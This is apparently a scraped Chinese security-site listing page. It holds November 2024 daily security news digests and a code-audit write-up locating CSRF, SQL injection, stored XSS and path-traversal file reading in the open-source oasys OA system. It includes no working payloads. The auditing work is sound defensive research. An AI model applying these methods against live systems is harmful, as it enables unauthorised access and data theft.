在社交媒体上发布了挑衅性的言论,并晒出了一小部分窃取的数据。随后,黑客在暗网上进一步详细说明了勒索要求,要求施耐德电气支付 12.5 万美元的赎金,但形式非常特殊 ——40 万根法式长棍面包。 10、OWASP发布深度伪造事件响应指南 https://www.darkreading.com/application-security/owasp-releases-ai-security-guidance 近日,全球应用安全项目组织(OWASP)发布了一系列专门应对AI威胁的指南,为企业提供深度伪造事件的响应框架,并设立AI安全卓越中心和AI安全解决方案数据库。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月07日
1、新型SteelFox木马伪装成软件激活器实现窃密和挖矿 https://securelist.com/steelfox-trojan-drops-stealer-and-miner/114414/ 2024年8月,安全研究团队在调查中发现了一种由矿工和窃密恶意软件组成的未知捆绑包引起的大量感染,并且将其命名为“SteelFox”。SteelFox主要传播途径时论坛帖子、torrent追踪器、博客和模仿流行的软件如Foxit PDF Editor和AutoCAD。安全研究人员发现,SteelFox使用窃密恶意软件提取受害者的信用卡数据和受感染设备的详细信息,随后利用受感染设备的计算资源进行加密货币挖矿,通过易受攻击的驱动程序提升权限,以便更深入地控 2、攻击者利用DocuSign API发送大量的钓鱼发票 https://lab.wallarm.com/attackers-abuse-docusign-api-to-send-authentic-looking-invoices-at-scale/ DocuSign API是DocuSign(一家领先的电子签名和数字交易管理平台)提供的一个强大的工具,允许开发者和企业通过编程方式集成和自动化电子签名流程。但近期发现一些攻击者利用DocuSign API发送钓鱼邮件,据安全研究员最新发现,攻击者利用DocuSign API发送钓鱼发票,成功绕过垃圾邮件过滤器。通过利用DocuSign的合法服务,攻击者能够避开电子邮件安全措施,诱使收件人提供敏感信 3、研究员披露IBM Security Verify Access中的36个漏洞 https://www.securityweek.com/researcher-discloses-32-vulnerabilities-found-in-ibm-security-verify-access/ 安全研究员披露了IBM Security Verify Access(ISVA)中存在的36个漏洞,这些漏洞可能导致攻击者完全破坏基于该授权和网络安全策略管理解决方案的整个认证基础设施。攻击者若想利用这些问题,需要进行中间人(MiTM)攻击或获取使用IBM ISVA设备和Docker镜像的组织内部网络的访问权限。至少一半的安全缺陷,包括七个远程代码执行漏洞、一个认证绕过漏洞、八个权限 4、黑客声称出售从诺基亚供应商处盗取的源代码和密钥 https://www.theregister.com/2024/11/06/nokia_data_theft/ 知名数据盗窃者IntelBroker在暗网论坛Breachforums上声称,他们与另一名黑客EnergyWeaponUser合作,从诺基亚的一家第三方供应商处盗取了大量敏感资料,包括源代码、SSH密钥、RSA密钥、Bitbucket登录信息、SMTP账户详情和凭据等。这些被盗材料中包含了大量JavaScript、JSON和PHP文档,更有价值的信息则被保留给论坛上的认证买家。IntelBroker在帖子中表示,这些数据是从一家直接与诺基亚合作开发内部工具的第三方承包商那里获取的 5、谷歌云为所有用户推出强制 MFA https://www.securityweek.com/google-cloud-rolling-out-mandatory-mfa-for-all-users/ 谷歌云周二宣布,针对目前仅使用密码登录的所有用户推出强制多重身份验证 (MFA)。 6、VEILDrive 攻击利用微软服务逃避检测并分发恶意软件 https://thehackernews.com/2024/11/veildrive-attack-exploits-microsoft.html 据观察,一种名为VEILDrive 的持续威胁活动利用 Microsoft 的合法服务(包括 Teams、SharePoint、Quick Assist 和 OneDrive)作为其作案手法的一部分。 7、Chrome安全更新:修复多个高危漏洞 https://cybersecuritynews.com/chrome-security-update-vulnerabilities/ 在一项旨在增强用户安全的重要更新中,谷歌为其广泛使用的 Chrome 浏览器推出了紧急补丁,解决了多个高严重性漏洞。 8、Meta在韩国面临216亿韩元罚款,被指非法收集个人信息 https://www.ithome.com/0/807/977.htm 韩联社援引韩国个人信息保护委员会 11 月 5 日消息,委员会 4 日召开第 18 次全体会议,决定对违反韩国《个人信息保护法》的美国互联网公司 Meta 处以 216 亿多韩元的行政罚款。 9、ChatGPT-4o 可用于基于自主语音的诈骗 https://www.bleepingcomputer.com/news/security/chatgpt-4o-can-be-used-for-autonomous-voice-based-scams/ 研究人员表明,有可能滥用 OpenAI 的 ChatGPT-4o的实时语音 API 来进行成功率低到中等的金融诈骗。 10、国家安全部:境外间谍情报机关持续加大对我国数据领域渗透力度 https://finance.eastmoney.com/a/202411053228624769.html 国家安全部微信公众号发文指出,近年来,境外间谍情报机关持续加大对我国数据领域渗透力度,妄图窃取我核心数据,危害我国家安全。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
oasys系统代码审计
简述: oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。 下载地址:https://github.com/misstt123/oasys 此项目部署极为简单,我使用的是phpstudy的5.7版本mysql,修改application.properties配置,在IDEA导入oasys.sql数据后,就可以直接运行 并访问后台地址:http://localhost:8088/logins 注意别端口冲突 CSRF: 登录后台,在用户面板处,修改便签功能存在csrf漏洞。 点击修改,抓包,点击生成CSRF的Poc: 将生成Poc的URL复制到浏览器,访问: 访问后,发现已经按照Poc上内容进行了修改: SQL注入: 代码分析: 在pom文件发现采用mybatis依赖: 全局搜索${ 找到outtype参数,定位到xml文件: 符合sql注入条件,于是开始找对应接口,参数,全局搜索allDirector字段: 定位到接口层,于是找接口实现类,发现无,于是全局搜索该接口名称,找哪里引用了此接口: 发现AddController层引用该接口,并通过mapper进行数据库操作,在该controller层搜索原接口方法,定位到具体代码块: 可以看到该参数没有经过任何过滤,于是根据代码块注释进行漏洞复现: 在后台找到通讯录,找到外部通讯录,点击添加联系人: 抓包找到对应数据包: 将localhost换成自己对应的IP,放入sqlmap验证成功: 其实从最初的xml文件来看,其它几个参数也存在sql注入。 存储XSS: 登录后台后,用户处点击修改信息,插入xss代码造成弹窗。 根据提交保存的接口全局搜索: 找到相关信息,根据代码分析,无任何过滤直接存储,造成xss漏洞: 此后台很多地方也均无过滤,可以直接插入xss代码执行。 任意文件读取漏洞: 在控制层UserpanelController处,如下代码存在逻辑错误导致任意文件读取: 可以看出此代码块是用来处理图像请求,并将数据返回到http响应的代码。 这段代码我初看并没看懂,于是对代码进行详细分析: 红框代码逻辑很简单,先传入的f.getPath()值,再通过FileInputStream进行文件读取并返回到http响应。 关键就是f.getPath()的值怎么来的? 如上红框代码,f.getPath()的值来自于rootpath与path的拼接,而path的值则是,先通过request.getRequestURI()获取,再将/image替换为空得来。 但rootpath的值呢? 于是我在该类搜索rootpath找到其定义代码: 发现以@Value注解定义rootpath的值,而@Value注解的作用就是从项目配置文件中获取信息,于是转到配置文件,搜索关键字:rootpath 继续回到controller代码,此时找到rootpath的值,也明白了读取文件的逻辑,于是尝试构造多个/image..路径读取我D盘upload下的文件: 如下图,读取成功:
网络安全日报 2024年11月06日
1、研究人员发现一种仿真Linux环境的新型网络钓鱼攻击 https://hackread.com/hackers-crontrap-persistent-linux-system-backdoors/ 安全研究员发现了一种名为“CRON#TRAP”的新型网络钓鱼攻击,该攻击利用仿真Linux环境绕过安全措施并建立持久的后门。CRON#TRAP网络钓鱼是一个多阶段的攻击过程,攻击者首先会将包含恶意ZIP文件和快捷方式文件(如OneAmerica Survey.zip和OneAmerica Survey.lnk)的钓鱼邮件传播,接着部署仿真Linux环境然后伪造成浏览器进程掩盖活动,最后通过Chisel隧道工具以及使用QEMU和Chisel工具,建立 2、Android系统存在活跃利用的漏洞 https://securityaffairs.com/170581/uncategorized/cve-2024-43093-android-flaw-actively-exploited.html Google在其安全公告中指出,威胁行为者正在积极利用两个漏洞,分别为CVE-2024-43093和CVE-2024-43047,这两个漏洞在Android操作系统中被发现。其中CVE-2024-43093是Android Framework组件特权提升漏洞,该漏洞可导致未经授权访问“Android/data”、“Android/obb”和“Android/sandbox”目录及其子目录。CV 3、Synology NAS设备面临零点击攻击风险 https://www.helpnetsecurity.com/2024/11/04/cve-2024-10443/ 该设备厂商Synology 最近发布了针对一个未认证的“零点击”远程代码执行漏(CVE-2024-10443,代号RISK:STATION)的修复补丁,该漏洞会影响其流行的DiskStation和BeeStation网络附加存储(NAS)设备。尽管目前没有证据显示该漏洞在野外被利用,但研究人员称,CVE-2024-10443具有很高的被滥用潜力,当前的补丁可能很快被逆向分析,从而导致攻击者创建和部署新的exploit。他们建议用户手动验证系统是否已安装最新补丁,并在必要时手动 4、ABB智能建筑软件漏洞可能引发黑客攻击 https://www.govinfosecurity.com/abb-smart-building-software-flaws-invite-in-hackers-a-26722 电气工程公司ABB的智能建筑能源管理系统Cylon Aspect软件存在多个严重漏洞,其中一个容易被利用的漏洞CVE-2023-0636已存在两年,但仍未广泛修补。这些漏洞可能让黑客接管配置不当并允许互联网访问的系统。工业控制系统研究员强调的这些缺陷带有关键的CVSS分数的漏洞CVE-2023-0636和CVE-2024-6209影响了电气工程公司ABB制造的Cylon Aspect软件。其中,加州大学欧文分校 5、加拿大警方逮捕与Snowflake数据泄露案相关的嫌疑人 https://securityaffairs.com/170587/cyber-crime/canadian-authorities-arrested-snowflake-hacker.html 2024年10月30日,加拿大执法机构逮捕了Alexander “Connor” Moucka(又称Judische和Waifu),他被指控与今年早些时候针对云数据仓库平台Snowflake的系列攻击有关。Moucka在美国的临时逮捕令下被拘留,具体指控尚未披露。据《彭博加拿大》报道,Moucka涉嫌对Snowflake的165家客户进行黑客攻击,包括AT&T、LendingTree、Neiman 6、 谷歌将为 Chrome 浏览器增强保护模式引入人工智能 https://www.ithome.com/0/807/819.htm 消息源 Leopeva64 于 11 月 3 日在 X 平台发文称,AI 现在已是“无处不在”,Chrome 浏览器安全浏览模式中的“增强保护”将由 AI 驱动,谷歌已在 Chrome Canary 版本中更新了该模式的描述。 7、微软向Windows 10用户提供一次性30美元的一年安全更新 https://tech.slashdot.org/story/24/10/31/2011223/want-to-keep-getting-windows-10-updates-itll-cost-you-30 Windows 10 即将于 2025 年 10 月 14 日终止支持,之后微软不再提供安全更新。 对于这些用户,微软将向他们提供一次性的为期一年的扩展安全更新,费用为 30 美元。 8、美商务部、能源部联合发布AI安全开发备忘录 https://www.secrss.com/articles/71988 10月30日,美国商务部公开了今年与能源部共同签署的一份备忘录,该备忘录表明,两部门正在合作开展高级人工智能模型和系统的安全研究、测试和评估。 9、Okta 验证代理Windows漏洞让攻击者窃取用户密码 https://cybersecuritynews.com/okta-verify-agent-windows-flaw/ 该漏洞是在例行渗透测试中发现的,影响了适用于 Windows 的 Okta Verify 代理的 5.0.2 至 5.3.2 版本。 10、MediaTek智能手机芯片组漏洞让攻击者能够提升权限 https://cybersecuritynews.com/mediatek-smartphone-chipsets-vulnerabilities/ 最近的安全公告披露了 MediaTek 智能手机芯片组中的高严重性漏洞,这些漏洞可能使攻击者能够提升权限并获得对受影响设备的未经授权的访问。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月05日
1、针对FreeBSD服务器的新型勒索软件Interlock https://www.bleepingcomputer.com/news/security/meet-interlock-the-new-ransomware-targeting-freebsd-servers/ 近期,一种名为Interlock的新勒索软件行动在全球范围内攻击了多家组织,采取了罕见的方法,专门针对FreeBSD服务器创建了一个加密器。Interlock于2024年9月底启动,至今已攻击了六家组织,并在未支付赎金的情况下在其数据泄露网站上发布了被盗数据。其中一个受害者是密歇根州韦恩县,该地区在10月初遭受了网络攻击。研究人员在测试过程中发现了FreeBSD和Windows版 2、ChatGPT-4o实时语音API被用于自动化金融诈骗 https://www.bleepingcomputer.com/news/security/chatgpt-4o-can-be-used-for-autonomous-voice-based-scams/ 研究人员展示了OpenAI的最新AI模型ChatGPT-4o的实时语音API可以被滥用进行金融诈骗。尽管OpenAI集成了多种保护措施,但当前的技术工具仍缺乏足够的防范措施,容易被网络犯罪分子和欺诈者滥用。研究人员通过手动模拟易受骗的受害者,使用真实的网站(如美国银行)验证了不同类型的诈骗(如银行转账、礼品卡提取、加密货币转账和凭证盗窃)的成功率。研究表明,AI代理使用语音启用的Chat 3、多向量供应链攻击瞄准加密货币爱好者 https://checkmarx.com/blog/cryptocurrency-enthusiasts-targeted-in-multi-vector-supply-chain-attack/ 近期,加密货币爱好者成为一起复杂的多向量恶意软件攻击的目标。攻击者通过在PyPI上发布恶意Python包“cryptoaitools”和欺骗性的GitHub仓库进行多阶段感染。该恶意软件伪装成加密货币交易工具,利用欺骗性的图形用户界面(GUI)分散用户注意力,同时在后台窃取敏感数据。恶意软件在安装后自动激活,针对Windows和macOS操作系统,并通过执行平台特定的脚本下载和执行额外的恶意组件 4、国际执法行动关闭DDoS租用平台Dstat.cc https://securityaffairs.com/170540/cyber-crime/german-police-shut-down-ddos-for-hire-platform-dstat-cc.html 德国警方关闭了DDoS租用平台Dstat.cc,并逮捕了两名涉嫌运营该平台的男子。这两名男子分别来自达姆施塔特和莱茵-拉恩,年龄分别为19岁和28岁。他们被指控管理用于发动DDoS攻击和大规模毒品贩运的犯罪基础设施。据当局指控,这两名嫌疑人还运营了一个名为“Flight RCS”的在线平台,该平台出售设计药物和合成大麻素。他们面临经营用于商业和团伙活动的犯罪交易平台的指控,并将于 5、全球企业成为大规模ChatGPT网络钓鱼活动的目标 https://www.securityweek.com/businesses-worldwide-targeted-in-large-scale-chatgpt-phishing-campaign/ Barracuda 观察到一场大规模的 OpenAI 假冒活动,其目标是通过网络钓鱼获取 ChatGPT 凭证。威胁行为者一直在发送声称来自人工智能公司 OpenAI 的网络钓鱼电子邮件,通知收件人他们“最新的 ChatGPT 订阅付款不成功”,并指示他们点击链接以更新付款信息。 6、Ollama AI框架的严重漏洞可能导致DoS、模型盗窃和中毒 https://thehackernews.com/2024/11/critical-flaws-in-ollama-ai-framework.html 网络安全研究人员披露了 Ollama 人工智能 (AI) 框架中的六个安全漏洞,恶意行为者可能会利用这些漏洞执行各种操作,包括拒绝服务、模型中毒和模型盗窃。 7、谷歌人工智能工具Big Sleep发现SQLite 数据库引擎中的零日漏洞 https://thehackernews.com/2024/11/googles-ai-tool-big-sleep-finds-zero.html 谷歌表示,它使用名为Big Sleep (以前称为 Project Naptime)的大型语言模型 ( LLM ) 辅助框架,在 SQLite 开源数据库引擎中发现了一个零日漏洞。 8、近百万台存在高危漏洞的Fortinet、SonicWall设备正暴露在公网中 https://www.freebuf.com/news/414346.html 根据 Cyble 最新发布的漏洞报告,有近100 万台存在被积极利用漏洞的 Fortinet 和 SonicWall 设备正暴露在公开的互联网上。 9、Windows 11任务管理器出BUG,显示运行程序为零 https://www.bleepingcomputer.com/news/microsoft/windows-11-task-manager-bug-shows-wrong-number-of-running-processes/ 微软正在调查一个新的Windows 11问题,该问题导致任务管理器显示运行应用和后台进程的数量为零。 10、CyberPanel存在远程命令执行漏洞(CVE-2024-51567) https://ti.dbappsecurity.com.cn/info/8433 CyberPanel存在远程命令执行漏洞,未经身份验证的远程攻击者可以通过对缺乏充分验证和过滤的upgrademysqlstatus接口参数进行利用,从而绕过身份验证并通过构造恶意请求进行命令注入。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页